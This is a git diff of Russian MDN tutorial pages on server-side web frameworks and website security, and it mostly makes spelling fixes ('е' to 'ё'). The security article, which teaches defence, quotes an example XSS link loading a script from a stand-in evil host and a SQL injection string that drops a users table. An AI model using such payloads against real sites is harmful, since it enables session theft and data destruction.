        Последняя статья рассказывает о том, что нужно делать веб-приложению серверной стороны для ответа на запросы от веб-браузера. Мы покажем здесь, как веб-фреймворки могут упростить эти задачи и поможем вам подобрать подходящий фреймворк для вашего первого серверного веб-приложения.
        
  
        Безопасность веб-сайта
        
- 
        Безопасность веб-сайта требует бдительности на всех этапах проектирования сайта и его использования. Эта вводная статья не сделает из вас гуру безопасности сайтов, но поможет узнать, какие первые важные шаги вы можете предпринять для повышения устойчивости вашего веб-приложения против наиболее распространенных угроз.
        
+ 
        Безопасность веб-сайта требует бдительности на всех этапах проектирования сайта и его использования. Эта вводная статья не сделает из вас гуру безопасности сайтов, но поможет узнать, какие первые важные шаги вы можете предпринять для повышения устойчивости вашего веб-приложения против наиболее распространённых угроз.
        
 
 
 
        Аттестация
        
 
-
        Этот "обзорный" модуль не содержит никакой аттестации, поскольку мы даже не прилагаем здесь для вас никакого кода. Мы действительно надеемся, что на текущем этапе у вас сформировалось четкое понимание того, какие виды функционала вы можете предоставить, используя программирование на стороне сервера, и вы уже приняли решение по поводу фреймворка, который вы будете использовать для создания вашего первого сайта.
        
+
        Этот "обзорный" модуль не содержит никакой аттестации, поскольку мы даже не прилагаем здесь для вас никакого кода. Мы действительно надеемся, что на текущем этапе у вас сформировалось чёткое понимание того, какие виды функционала вы можете предоставить, используя программирование на стороне сервера, и вы уже приняли решение по поводу фреймворка, который вы будете использовать для создания вашего первого сайта.
        
diff --git a/files/ru/learn/server-side/first_steps/web_frameworks/index.html b/files/ru/learn/server-side/first_steps/web_frameworks/index.html
index 29f5d6330c..25b9ec408e 100644
--- a/files/ru/learn/server-side/first_steps/web_frameworks/index.html
+++ b/files/ru/learn/server-side/first_steps/web_frameworks/index.html
@@ -235,7 +235,7 @@ def youngest(request):
 
 
        Flask — это микрофреймворк для Python.
        
  
        
- И хотя Flask минималистичен, он может создавать серьезные веб-сайты из коробки. Он содержит сервер разработки и отладчик, а также поддерживает шаблоны Jinja2, безопасные файлы cookie, модульное тестирование и диспетчеризацию запросов RESTful. У него хорошая документация и активное сообщество.
        
+ И хотя Flask минималистичен, он может создавать серьёзные веб-сайты из коробки. Он содержит сервер разработки и отладчик, а также поддерживает шаблоны Jinja2, безопасные файлы cookie, модульное тестирование и диспетчеризацию запросов RESTful. У него хорошая документация и активное сообщество.
        
 
 
        Flask стал чрезвычайно популярным, особенно для разработчиков, которым необходимо предоставлять веб-сервисы в небольших системах с ограниченными ресурсами (например, запуск веб-сервера на Raspberry Pi, контроллеры Drone и т. п.).
        
 
@@ -243,7 +243,7 @@ def youngest(request):
 
 
        Express — быстрый, непринуждённый, гибкий и минималистский веб-фреймворк для Node.js (node — это серверная среда для запуска JavaScript). Он обеспечивает надёжный набор функций для веб и мобильных приложений и предоставляет полезные HTTP-утилиты и middleware (промежуточные интерфейсы).
        
 
-
        Express чрезвычайно популярен, частично потому, что он облегчает миграцию клиентских веб-программистов JavaScript в разработку на стороне сервера, а частично потому, что он ресурсоэффективен (базовая среда узлов использует легкую многозадачность в потоке, а не порождает отдельные процессы для каждого новый веб-запроса).
        
+
        Express чрезвычайно популярен, частично потому, что он облегчает миграцию клиентских веб-программистов JavaScript в разработку на стороне сервера, а частично потому, что он ресурсоэффективен (базовая среда узлов использует лёгкую многозадачность в потоке, а не порождает отдельные процессы для каждого новый веб-запроса).
        
 
 
        Поскольку Express является минималистским веб-фреймворком, он не включает в себя все компоненты, которые вы, возможно, захотите использовать (например, доступ к базе данных и поддержка пользователей и сеансов предоставляются через независимые библиотеки). Есть много отличных независимых компонентов, но иногда бывает сложно решить, какой из них лучше всего подходит для конкретной цели! 
        
 
diff --git a/files/ru/learn/server-side/first_steps/website_security/index.html b/files/ru/learn/server-side/first_steps/website_security/index.html
index 514d7490a5..1f976dd741 100644
--- a/files/ru/learn/server-side/first_steps/website_security/index.html
+++ b/files/ru/learn/server-side/first_steps/website_security/index.html
@@ -8,7 +8,7 @@ original_slug: Learn/Server-side/First_steps/Веб_Безопасность
 
 
        {{PreviousMenu("Learn/Server-side/First_steps/Web_frameworks", "Learn/Server-side/First_steps")}}
        
 
-
        Безопасность сайта требует бдительности во всех аспектах дизайна и использования сайта. Эта вводная статья не сделает из вас гуру безопасности веб-сайта, но она поможет вам понять, откуда приходят угрозы, и что вы можете сделать, чтобы укрепить свое веб-приложение против наиболее распространенных атак.
        
+
        Безопасность сайта требует бдительности во всех аспектах дизайна и использования сайта. Эта вводная статья не сделает из вас гуру безопасности веб-сайта, но она поможет вам понять, откуда приходят угрозы, и что вы можете сделать, чтобы укрепить своё веб-приложение против наиболее распространённых атак.
        
 
 
        
  
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
        
@@ -18,20 +18,20 @@ original_slug: Learn/Server-side/First_steps/Веб_Безопасность
   
   
-   
+   
        
  
        
    Цель:Понять самые распространенные угрозы безопасности веб-приложений. И что вы можете сделать, чтобы уменьшить риск взлома вашего сайта.Понять самые распространённые угрозы безопасности веб-приложений. И что вы можете сделать, чтобы уменьшить риск взлома вашего сайта.
   
        
          
 
        
 
 
        Что такое безопасность сайта?
        
 
-
        Интернет опасное место! Мы регулярно слышим о том, что веб-сайты становятся недоступными из-за атак типа отказано в обслуживании, или отображение измененной (и часто поврежденной) информации на их страницах. В других случаях миллионы паролей, адресов электронной почты и данные кредитных карт становились общедоступными, подвергая пользователей веб-сайта личному смущению или к финансовым рискам.
        
+
        Интернет опасное место! Мы регулярно слышим о том, что веб-сайты становятся недоступными из-за атак типа отказано в обслуживании, или отображение изменённой (и часто повреждённой) информации на их страницах. В других случаях миллионы паролей, адресов электронной почты и данные кредитных карт становились общедоступными, подвергая пользователей веб-сайта личному смущению или к финансовым рискам.
        
 
 
        Цель веб-безопасности заключается в предотвращении этих (или других) видов атак. Более формальным определением веб-безопасности является: способы защиты веб-сайтов от несанкционированного доступа, использования, изменения, уничтожения или нарушения работы.
        
 
-
        Для эффективной безопасности веб-сайта необходимо уделять особое внимание к разработке всего веб-сайта: к вашему веб-приложению, конфигурации веб-сервера, при написании политик создания и обновления паролей, а так же кода на стороне клиента. Хотя все это звучит очень зловеще, хорошая новость заключается в том, что если вы используете веб-фреймворк для серверной части, то он почти наверняка обеспечит «по умолчанию» надежные и продуманные механизмы защиты от ряда наиболее распространенных атак. Другие атаки можно смягчить с помощью конфигурации вашего веб-сервера, например, включив HTTPS. Наконец, есть общедоступные инструменты для сканирования уязвимостей, которые могут помочь вам определить, если вы допустили какие-либо очевидные ошибки.
        
+
        Для эффективной безопасности веб-сайта необходимо уделять особое внимание к разработке всего веб-сайта: к вашему веб-приложению, конфигурации веб-сервера, при написании политик создания и обновления паролей, а так же кода на стороне клиента. Хотя все это звучит очень зловеще, хорошая новость заключается в том, что если вы используете веб-фреймворк для серверной части, то он почти наверняка обеспечит «по умолчанию» надёжные и продуманные механизмы защиты от ряда наиболее распространённых атак. Другие атаки можно смягчить с помощью конфигурации вашего веб-сервера, например, включив HTTPS. Наконец, есть общедоступные инструменты для сканирования уязвимостей, которые могут помочь вам определить, если вы допустили какие-либо очевидные ошибки.
        
 
-
        В оставшейся части этой статьи мы рассмотрим более подробную информацию о некоторых самых распространенных угрозах и о простых шагах, которые вы можете предпринять, чтобы защитить свой сайт.
        
+
        В оставшейся части этой статьи мы рассмотрим более подробную информацию о некоторых самых распространённых угрозах и о простых шагах, которые вы можете предпринять, чтобы защитить свой сайт.
        
 
 
        
 
        Примечание: Это вводная статья, призванная помочь вам задуматься о безопасности веб-сайта, но она не является исчерпывающей.
        
@@ -39,25 +39,25 @@ original_slug: Learn/Server-side/First_steps/Веб_Безопасность
 
 
        Угрозы безопасности сайта
        
 
-
        В этом разделе перечислены лишь некоторые из наиболее распространенных угроз веб-сайта и способы их устранения. Читая, обратите внимание на то, насколько успешны угрозы, когда веб-приложение доверяет, либо недостаточно параноидально относится к данным, поступающим из браузера.
        
+
        В этом разделе перечислены лишь некоторые из наиболее распространённых угроз веб-сайта и способы их устранения. Читая, обратите внимание на то, насколько успешны угрозы, когда веб-приложение доверяет, либо недостаточно параноидально относится к данным, поступающим из браузера.
        
 
 
        Межсайтовый скриптинг (XSS)
        
 
-
        XSS (Cross-Site Scripting - Межсайтовый скриптинг) это термин, используемый для описания типа атак, которые позволяют злоумышленнику внедрять вредоносный код через веб-сайт в браузеры других пользователей. Поскольку внедренный код поступает в браузер с сайта, он является доверенным и может выполнять такие действия, как отправка авторизационного файла cookieпользователя злоумышленнику. Когда у злоумышленника есть файл cookie, он может войти на сайт, как если бы он был пользователем, и сделать все, что может пользователь, например, получить доступ к данным кредитной карты, просмотреть контактные данные или изменить пароли.
        
+
        XSS (Cross-Site Scripting - Межсайтовый скриптинг) это термин, используемый для описания типа атак, которые позволяют злоумышленнику внедрять вредоносный код через веб-сайт в браузеры других пользователей. Поскольку внедрённый код поступает в браузер с сайта, он является доверенным и может выполнять такие действия, как отправка авторизационного файла cookieпользователя злоумышленнику. Когда у злоумышленника есть файл cookie, он может войти на сайт, как если бы он был пользователем, и сделать все, что может пользователь, например, получить доступ к данным кредитной карты, просмотреть контактные данные или изменить пароли.
        
 
 
        
 
        Примечание: Уязвимости XSS исторически встречались чаще, чем любые другие виды угроз безопасности.
        
 
        
 
-
        Уязвимости XSS делятся на отраженные и хранимые, в зависимости от того, как сайт возвращает внедренный код в браузер.
        
+
        Уязвимости XSS делятся на отражённые и хранимые, в зависимости от того, как сайт возвращает внедрённый код в браузер.
        
 
 
          
- 
        • Отраженная XSS-уязвимость возникает, когда пользовательский контент, который передается на сервер, немедленно и без изменений возвращается для отображения в браузере. Любой скрипт в исходном пользовательском контенте запустится при загрузке новой страницы. Например, рассмотрим строку поиска по сайту, в которой поисковые слова закодированы как параметры URL, и эти слова отображаются вместе с результатами. Злоумышленник может создать поисковую ссылку, которая будет содержать вредоносный скрипт в качестве параметра (например: http://mysite.com?q=beer<script%20src="http://evilsite.com/tricky.js"></script>) и переслать его другому пользователю по электронной почте. Если целевой пользователь кликнет по этой «интересной ссылке», то скрипт выполнится при отображении результатов поиска. Как мы уже говорили, злоумышленник  таким образом получает всю информацию, необходимую ему для входа на сайт в качестве целевого пользователя, потенциального совершения покупок от имени пользователя или получения его контактной информации.
          • 
+ 
        • Отражённая XSS-уязвимость возникает, когда пользовательский контент, который передаётся на сервер, немедленно и без изменений возвращается для отображения в браузере. Любой скрипт в исходном пользовательском контенте запустится при загрузке новой страницы. Например, рассмотрим строку поиска по сайту, в которой поисковые слова закодированы как параметры URL, и эти слова отображаются вместе с результатами. Злоумышленник может создать поисковую ссылку, которая будет содержать вредоносный скрипт в качестве параметра (например: http://mysite.com?q=beer<script%20src="http://evilsite.com/tricky.js"></script>) и переслать его другому пользователю по электронной почте. Если целевой пользователь кликнет по этой «интересной ссылке», то скрипт выполнится при отображении результатов поиска. Как мы уже говорили, злоумышленник  таким образом получает всю информацию, необходимую ему для входа на сайт в качестве целевого пользователя, потенциального совершения покупок от имени пользователя или получения его контактной информации.
          • 
  
        • 
   
          Постоянная уязвимость XSS возникает, когда вредоносный скрипт хранится на веб-сайте, а затем снова отображается без изменений, чтобы другие пользователи могли выполнять его невольно.
          
-   Например, доска обсуждений, которая принимает комментарии, содержащие неизмененный HTML, может хранить вредоносный скрипт от злоумышленника. Когда комментарии отображаются, скрипт выполняется и может отправить злоумышленнику информацию, необходимую для доступа к учетной записи пользователя. Атака такого рода чрезвычайно популярна и мощна, потому что злоумышленник может даже не иметь прямого отношения к жертвам.
          
+   Например, доска обсуждений, которая принимает комментарии, содержащие неизмененный HTML, может хранить вредоносный скрипт от злоумышленника. Когда комментарии отображаются, скрипт выполняется и может отправить злоумышленнику информацию, необходимую для доступа к учётной записи пользователя. Атака такого рода чрезвычайно популярна и мощна, потому что злоумышленник может даже не иметь прямого отношения к жертвам.
          
    
          
-   Хотя данные из запросов POST или GET являются наиболее распространенным источником уязвимостей XSS, любые данные из браузера потенциально уязвимы, такие как данные cookie, отображаемые браузером, или пользовательские файлы, которые загружаются и отображаются.
          
+   Хотя данные из запросов POST или GET являются наиболее распространённым источником уязвимостей XSS, любые данные из браузера потенциально уязвимы, такие как данные cookie, отображаемые браузером, или пользовательские файлы, которые загружаются и отображаются.
          
    
          
    Наилучшей защитой от уязвимостей XSS является удаление или отключение любой разметки, которая потенциально может содержать инструкции по запуску кода. Для HTML это включает такие элементы, как <script>, <object>, <embed> и <link>.
          
    
          
@@ -71,7 +71,7 @@ original_slug: Learn/Server-side/First_steps/Веб_Безопасность
  
          
  Типы внедрения SQL включают внедрение SQL на основе ошибок, внедрение SQL на основе логических ошибок и внедрение SQL на основе времени.
          
  
          
- Эта уязвимость присутствует, если пользовательский ввод, который передается в базовый оператор SQL, может изменить смысл оператора. Например, следующий код предназначен для перечисления всех пользователей с определенным именем (userName), которое было предоставлено из формы HTML:
          
+ Эта уязвимость присутствует, если пользовательский ввод, который передаётся в базовый оператор SQL, может изменить смысл оператора. Например, следующий код предназначен для перечисления всех пользователей с определённым именем (userName), которое было предоставлено из формы HTML:
          
 
 
          statement = "SELECT * FROM users WHERE name = '" + userName + "';"
          
 
@@ -80,7 +80,7 @@ original_slug: Learn/Server-side/First_steps/Веб_Безопасность
 
          SELECT * FROM users WHERE name = 'a';DROP TABLE users; SELECT * FROM userinfo WHERE 't' = 't';
 
          
 
-
          Модифицированный оператор создает действительный оператор SQL, который удаляет таблицу пользователей и выбирает все данные из таблицы userinfo (которая раскрывает информацию о каждом пользователе). Это работает, потому что первая часть введенного текста (a ';) завершает исходное утверждение.
          
+
          Модифицированный оператор создаёт действительный оператор SQL, который удаляет таблицу пользователей и выбирает все данные из таблицы userinfo (которая раскрывает информацию о каждом пользователе). Это работает, потому что первая часть введённого текста (a ';) завершает исходное утверждение.
          
  
          
  Чтобы избежать такого рода атак, вы должны убедиться, что любые пользовательские данные, которые передаются в запрос SQL, не могут изменить природу запроса. Один из способов сделать это - экранировать все символы пользовательского ввода, которые имеют особое значение в SQL.
          
 
@@ -102,16 +102,16 @@ original_slug: Learn/Server-side/First_steps/Веб_Безопасность
 
 
          Подделка межсайтовых запросов (CSRF)
          
 
-
          CSRF-атаки позволяют злоумышленнику выполнять действия, используя учетные данные другого пользователя, без его ведома или согласия.
          
+
          CSRF-атаки позволяют злоумышленнику выполнять действия, используя учётные данные другого пользователя, без его ведома или согласия.
          
 
-
          Этот тип атаки лучше всего пояснить на примере. Джон - злоумышленник, который знает, что определенный сайт позволяет пользователям, вошедшим в систему, отправлять деньги на указанную учетную запись, используя HTTP-запрос POST, который включает имя учетной записи и сумму денег. Джон создает форму, которая включает в себя его банковские реквизиты и сумму денег в виде скрытых полей, и отправляет ее по электронной почте другим пользователям сайта (с кнопкой «Отправить», замаскированной под ссылку на сайт «быстрого обогащения»).
          
+
          Этот тип атаки лучше всего пояснить на примере. Джон - злоумышленник, который знает, что определённый сайт позволяет пользователям, вошедшим в систему, отправлять деньги на указанную учётную запись, используя HTTP-запрос POST, который включает имя учётной записи и сумму денег. Джон создаёт форму, которая включает в себя его банковские реквизиты и сумму денег в виде скрытых полей, и отправляет её по электронной почте другим пользователям сайта (с кнопкой «Отправить», замаскированной под ссылку на сайт «быстрого обогащения»).
          
 
-
          Если пользователь нажимает кнопку отправки, на сервер будет отправлен HTTP-запрос POST, содержащий сведения о транзакции и любые файлы cookie на стороне клиента, которые браузер связал с сайтом (добавление связанных файлов cookie сайта в запросы является нормальным поведением браузера). Сервер проверит файлы cookie и использует их, чтобы определить, вошел ли пользователь в систему и имеет ли разрешение на совершение транзакции.
          
+
          Если пользователь нажимает кнопку отправки, на сервер будет отправлен HTTP-запрос POST, содержащий сведения о транзакции и любые файлы cookie на стороне клиента, которые браузер связал с сайтом (добавление связанных файлов cookie сайта в запросы является нормальным поведением браузера). Сервер проверит файлы cookie и использует их, чтобы определить, вошёл ли пользователь в систему и имеет ли разрешение на совершение транзакции.
          
 
 
          В результате любой пользователь, который нажимает кнопку Отправить во время входа на торговый сайт, совершает транзакцию. Джон становится богатым.
          
 
 
          
-
          Примечание: Уловка здесь в том, что Джону не нужен доступ к файлам cookie пользователя (или учетным данным). Браузер пользователя сохраняет эту информацию и автоматически включает ее во все запросы к соответствующему серверу.
          
+
          Примечание: Уловка здесь в том, что Джону не нужен доступ к файлам cookie пользователя (или учётным данным). Браузер пользователя сохраняет эту информацию и автоматически включает её во все запросы к соответствующему серверу.
          
 
          
 
 
          Один из способов предотвратить этот тип атаки - запросить сервером запросы POST, содержащие секрет, созданный пользователем для конкретного сайта. Секрет будет предоставлен сервером при отправке веб-формы, используемой для переводов. Такой подход не позволяет Джону создать свою собственную форму, потому что он должен знать секрет, который сервер предоставляет пользователю. Даже если он узнает секрет и создаст форму для конкретного пользователя, он больше не сможет использовать ту же форму для атаки на каждого пользователя.
          
@@ -120,11 +120,11 @@ original_slug: Learn/Server-side/First_steps/Веб_Безопасность
 
 
          Прочие угрозы
          
 
-
          Другие распространенные атаки / уязвимости включают:
          
+
          Другие распространённые атаки / уязвимости включают:
          
 
 
            
- 
          • Clickjacking. В этой атаке злоумышленник перехватывает клики, предназначенные для видимого сайта верхнего уровня, и направляет их на скрытую ниже страницу. Этот метод можно использовать, например, для отображения законного сайта банка, но захвата учетных данных для входа в невидимый {{htmlelement("iframe")}} , контролируемый злоумышленником. Clickjacking также можно использовать для того, чтобы заставить пользователя нажать кнопку на видимом сайте, но при этом на самом деле невольно нажимать совершенно другую кнопку. В качестве защиты ваш сайт может предотвратить встраивание себя в iframe на другом сайте, установив соответствующие заголовки HTTP.
            • 
- 
          • Denial of Service (DoS). DoS обычно достигается за счет наводнения целевого сайта поддельными запросами, так что доступ к сайту нарушается для законных пользователей. Запросы могут быть просто многочисленными или по отдельности потреблять большие объемы ресурсов (например, медленное чтение или загрузка больших файлов). Защита от DoS обычно работает, выявляя и блокируя «плохой» трафик, пропуская при этом легитимные сообщения. Эти средства защиты обычно расположены перед веб-сервером или на нем (они не являются частью самого веб-приложения).
            • 
+ 
          • Clickjacking. В этой атаке злоумышленник перехватывает клики, предназначенные для видимого сайта верхнего уровня, и направляет их на скрытую ниже страницу. Этот метод можно использовать, например, для отображения законного сайта банка, но захвата учётных данных для входа в невидимый {{htmlelement("iframe")}} , контролируемый злоумышленником. Clickjacking также можно использовать для того, чтобы заставить пользователя нажать кнопку на видимом сайте, но при этом на самом деле невольно нажимать совершенно другую кнопку. В качестве защиты ваш сайт может предотвратить встраивание себя в iframe на другом сайте, установив соответствующие заголовки HTTP.
            • 
+ 
          • Denial of Service (DoS). DoS обычно достигается за счёт наводнения целевого сайта поддельными запросами, так что доступ к сайту нарушается для законных пользователей. Запросы могут быть просто многочисленными или по отдельности потреблять большие объёмы ресурсов (например, медленное чтение или загрузка больших файлов). Защита от DoS обычно работает, выявляя и блокируя «плохой» трафик, пропуская при этом легитимные сообщения. Эти средства защиты обычно расположены перед веб-сервером или на нем (они не являются частью самого веб-приложения).
            • 
  
          • Directory Traversal (Файл и раскрытие). В этой атаке злоумышленник пытается получить доступ к частям файловой системы веб-сервера, к которым у него не должно быть доступа. Эта уязвимость возникает, когда пользователь может передавать имена файлов, содержащие символы навигации файловой системы (например, ../../). Решение состоит в том, чтобы очищать ввод перед его использованием.
            • 
  
          • File Inclusion. В этой атаке пользователь может "случайно" указать файл для отображения или выполнения в данных, передаваемых на сервер. После загрузки этот файл может выполняться на веб-сервере или на стороне клиента (что приводит к XSS-атаке). Решение состоит в том, чтобы дезинфицировать ввод перед его использованием.
            • 
  
          • Внедрение команд. Атаки с внедрением команд позволяют злоумышленнику выполнять произвольные системные команды в операционной системе хоста. Решение состоит в том, чтобы дезинфицировать вводимые пользователем данные до того, как их можно будет использовать в системных вызовах.
            • 
@@ -143,20 +143,20 @@ original_slug: Learn/Server-side/First_steps/Веб_Безопасность
 
            Вы можете предпринять ряд других конкретных шагов:
            
 
 
              
- 
            • Используйте более эффективное управление паролями. Поощряйте регулярную смену надежных паролей. Рассмотрите возможность двухфакторной аутентификации для вашего сайта, чтобы в дополнение к паролю пользователь должен был ввести другой код аутентификации (обычно тот, который доставляется через какое-то физическое оборудование, которое будет иметь только пользователь, например, код в SMS, отправленном на его телефон).
              • 
- 
            • Настройте свой веб-сервер для использования HTTPS и HTTP Strict Transport Security (HSTS). HTTPS шифрует данные, передаваемые между вашим клиентом и сервером. Это гарантирует, что учетные данные для входа, файлы cookie, данные запросов POST и информация заголовка не будут легко доступны для злоумышленников.
              • 
- 
            • Следите за наиболее популярными угрозами (текущий список OWASP находится здесь) и в первую очередь устраняйте наиболее распространенные уязвимости.
              • 
+ 
            • Используйте более эффективное управление паролями. Поощряйте регулярную смену надёжных паролей. Рассмотрите возможность двухфакторной аутентификации для вашего сайта, чтобы в дополнение к паролю пользователь должен был ввести другой код аутентификации (обычно тот, который доставляется через какое-то физическое оборудование, которое будет иметь только пользователь, например, код в SMS, отправленном на его телефон).
              • 
+ 
            • Настройте свой веб-сервер для использования HTTPS и HTTP Strict Transport Security (HSTS). HTTPS шифрует данные, передаваемые между вашим клиентом и сервером. Это гарантирует, что учётные данные для входа, файлы cookie, данные запросов POST и информация заголовка не будут легко доступны для злоумышленников.
              • 
+ 
            • Следите за наиболее популярными угрозами (текущий список OWASP находится здесь) и в первую очередь устраняйте наиболее распространённые уязвимости.
              • 
  
            • Используйте инструменты сканирования уязвимостей, чтобы выполнить автоматическое тестирование безопасности на вашем сайте. Позже ваш очень успешный веб-сайт может также обнаруживать ошибки, предлагая вознаграждение за обнаружение ошибок, как это делает здесь Mozilla.
              • 
- 
            • Храните и отображайте только те данные, которые вам нужны. Например, если ваши пользователи должны хранить конфиденциальную информацию, такую как данные кредитной карты, отображайте часть номера карты только для того, чтобы он мог быть идентифицирован пользователем, и недостаточно, чтобы его мог скопировать злоумышленник и использовать на другом сайте. Самый распространенный шаблон в настоящее время - отображение только последних 4 цифр номера кредитной карты.
              • 
+ 
            • Храните и отображайте только те данные, которые вам нужны. Например, если ваши пользователи должны хранить конфиденциальную информацию, такую как данные кредитной карты, отображайте часть номера карты только для того, чтобы он мог быть идентифицирован пользователем, и недостаточно, чтобы его мог скопировать злоумышленник и использовать на другом сайте. Самый распространённый шаблон в настоящее время - отображение только последних 4 цифр номера кредитной карты.
              • 
 
            
 
-
            Веб-фреймворки могут помочь смягчить многие из наиболее распространенных уязвимостей.
            
+
            Веб-фреймворки могут помочь смягчить многие из наиболее распространённых уязвимостей.
            
 
 
            Резюме
            
 
-
            В этой статье объясняется концепция веб-безопасности и некоторые из наиболее распространенных угроз, от которых ваш веб-сайт должен пытаться защититься. Самое главное, вы должны понимать, что веб-приложение не может доверять никаким данным из веб-браузера. Все пользовательские данные должны быть очищены перед отображением или использованием в SQL-запросах и вызовах файловой системы.
            
+
            В этой статье объясняется концепция веб-безопасности и некоторые из наиболее распространённых угроз, от которых ваш веб-сайт должен пытаться защититься. Самое главное, вы должны понимать, что веб-приложение не может доверять никаким данным из веб-браузера. Все пользовательские данные должны быть очищены перед отображением или использованием в SQL-запросах и вызовах файловой системы.
            
 
-
            Этой статьей вы подошли к концу этого модуля, охватывающего ваши первые шаги в программировании на стороне сервера. Мы надеемся, что вам понравилось изучать эти фундаментальные концепции, и теперь вы готовы выбрать веб-платформу и начать программировать.
            
+
            Этой статьёй вы подошли к концу этого модуля, охватывающего ваши первые шаги в программировании на стороне сервера. Мы надеемся, что вам понравилось изучать эти фундаментальные концепции, и теперь вы готовы выбрать веб-платформу и начать программировать.
            
 
 
            {{PreviousMenu("Learn/Server-side/First_steps/Web_frameworks", "Learn/Server-side/First_steps")}}
            
 
diff --git a/files/ru/learn/server-side/index.html b/files/ru/learn/server-side/index.html
index 66645f65dd..ee1cb35976 100644
--- a/files/ru/learn/server-side/index.html
+++ b/files/ru/learn/server-side/index.html
@@ -26,7 +26,7 @@ translation_of: Learn/Server-side
 
 
            Начинать с серверного программирования обычно легче, чем с разработки на стороне клиента, поскольку динамические веб-сайты склонны производить множество однообразных операций (извлекать данные из базы данных и помещать их на странице, подтверждать пользовательский ввод и сохранять его в базе данных, проверять пользовательские права и выполнение входа, и.т.д.) и сконструированы с использованием веб-фреймворков, которые выполняют эти и другие привычные веб-серверу операции с легкостью.
            
 
-
            Общее понимание концепций программирования (или определенного программного языка) будет полезным, но не обязательным. Сходным образом, опыт программирования на клиентской стороне не требуется, но базовое знание поможет вам успешнее взаимодействовать с разработчиками клиентской стороны веб-приложения - "фронтенда".
            
+
            Общее понимание концепций программирования (или определённого программного языка) будет полезным, но не обязательным. Сходным образом, опыт программирования на клиентской стороне не требуется, но базовое знание поможет вам успешнее взаимодействовать с разработчиками клиентской стороны веб-приложения - "фронтенда".
            
 
 
            Вам потребуется понимать "как работает веб". Мы рекомендуем вам сначала ознакомиться с темами:
            
 
@@ -44,11 +44,11 @@ translation_of: Learn/Server-side
 
 
            
  
            Первые шаги в программировании веб-сайтов на стороне сервера
            
- 
            Этот модуль посвящен информации о технологиях программирования веб-сайтов на стороне сервера, попутно отвечая и на фундаментальные вопросы о серверном программировании — "что это такое", "чем оно отличается от программирования на стороне клиента", и "почему оно так востребовано" — и обозревая некоторые из наиболее популярных серверных веб-фреймворков, а также объясняя как выбрать подходящий для вашего сайта. Напоследок мы организуем вводный раздел о безопасности веб-сервера.
            
+ 
            Этот модуль посвящён информации о технологиях программирования веб-сайтов на стороне сервера, попутно отвечая и на фундаментальные вопросы о серверном программировании — "что это такое", "чем оно отличается от программирования на стороне клиента", и "почему оно так востребовано" — и обозревая некоторые из наиболее популярных серверных веб-фреймворков, а также объясняя как выбрать подходящий для вашего сайта. Напоследок мы организуем вводный раздел о безопасности веб-сервера.
            
  
            Веб-фреймворк Django (Python)
            
  
            Django является чрезвычайно популярным и полнофункциональным серверным веб-фреймворком, написанным на Python. Этот модуль объяснит почему Django настолько хороший серверный веб-фреймворк, как установить среду разработки и как с его помощью можно выполнять привычные задачи.
            
  
            Веб-фреймворк Express (Node.js/JavaScript)
            
- 
            Express - популярный веб-фреймворк, написанный на JavaScript и размещенный в среде окружения node.js. Модуль объясняет некоторые из ключевых преимуществ этой структуры, как настроить среду разработки и как выполнять общие задачи для веб-разработки и развертывания.
            
+ 
            Express - популярный веб-фреймворк, написанный на JavaScript и размещённый в среде окружения node.js. Модуль объясняет некоторые из ключевых преимуществ этой структуры, как настроить среду разработки и как выполнять общие задачи для веб-разработки и развертывания.
            
  
            Сервер на Node без фреймворков
            
  
            В этой статье представлен простой статический файловый сервер, построенный с использованием чистого Node.js, для тех из вас, кто не хочет использовать фреймворк.
            
 
            
diff --git a/files/ru/learn/server-side/node_server_without_framework/index.html b/files/ru/learn/server-side/node_server_without_framework/index.html
index 087627c20a..0a1a548668 100644
--- a/files/ru/learn/server-side/node_server_without_framework/index.html
+++ b/files/ru/learn/server-side/node_server_without_framework/index.html
@@ -5,7 +5,7 @@ translation_of: Learn/Server-side/Node_server_without_framework
 ---
 
            {{LearnSidebar}}
            
 
-
            Здесь вы найдете описание простого статического сервера, который построен сугубо на Node.js без использования какого-либо фреймворка .
            
+
            Здесь вы найдёте описание простого статического сервера, который построен сугубо на Node.js без использования какого-либо фреймворка .
            
 
 
            Node.js может использовать множество фреймворков, которые могут помочь создать сервер
            
 
@@ -81,4 +81,4 @@ console.log('Server running at http://127.0.0.1:8125/');

    Задание

    -

    Попробуйте добавить в этот код описание как работает этот код. Как вариант еще можно добавить функционал динамических запросов.

    +

    Попробуйте добавить в этот код описание как работает этот код. Как вариант ещё можно добавить функционал динамических запросов.

    diff --git a/files/ru/learn/tools_and_testing/client-side_javascript_frameworks/react_getting_started/index.html b/files/ru/learn/tools_and_testing/client-side_javascript_frameworks/react_getting_started/index.html index 418ad7f318..a5e7d74707 100644 --- a/files/ru/learn/tools_and_testing/client-side_javascript_frameworks/react_getting_started/index.html +++ b/files/ru/learn/tools_and_testing/client-side_javascript_frameworks/react_getting_started/index.html @@ -37,7 +37,7 @@ original_slug: Learn/Tools_and_testing/Фронтенд_JavaScript_фреймв

    Для создания веб-приложений разработчики используют React в тандеме с ReactDOM. React and ReactDOM часто обсуждаются в том же пространстве и используются для решения тех же проблем, что и другие настоящие фреймворки для веб-разработки. Когда мы ссылаемся на React как на «фреймворк», мы подразумеваем это разговорное понимание.

    -

    Основная цель React - минимизировать ошибки, возникающие при разработке пользовательских интерфейсов. Это достигается за счет использования компонентов - автономных логических фрагментов кода, которые описывают часть пользовательского интерфейса. А уже эти компоненты объединяются для создания полноценного пользовательского интерфейса. React абстрагирует большую часть работы по визуализации, оставляя вам возможность сосредоточиться на дизайне.

    +

    Основная цель React - минимизировать ошибки, возникающие при разработке пользовательских интерфейсов. Это достигается за счёт использования компонентов - автономных логических фрагментов кода, которые описывают часть пользовательского интерфейса. А уже эти компоненты объединяются для создания полноценного пользовательского интерфейса. React абстрагирует большую часть работы по визуализации, оставляя вам возможность сосредоточиться на дизайне.

    Когда использовать

    @@ -45,7 +45,7 @@ original_slug: Learn/Tools_and_testing/Фронтенд_JavaScript_фреймв

    Хотя React можно использовать для небольших частей интерфейса, «зайти» в него не так просто, как, к примеру, в jQuery, или даже во Vue. Куда легче это сделать создав всё приложения с помощью React.

    -

    Кроме того, такие преимущества React-приложения, как написание интерфейсов с помощью JSX, требуют процесса компиляции. Добавление на сайт компилятора Babel приводит к более медленному выполнению кода, поэтому такие инструменты обычно настраиваются для процесса сборки. Да, возможно, у React есть серьезные требования к инструментарию, но этому можно освоить.

    +

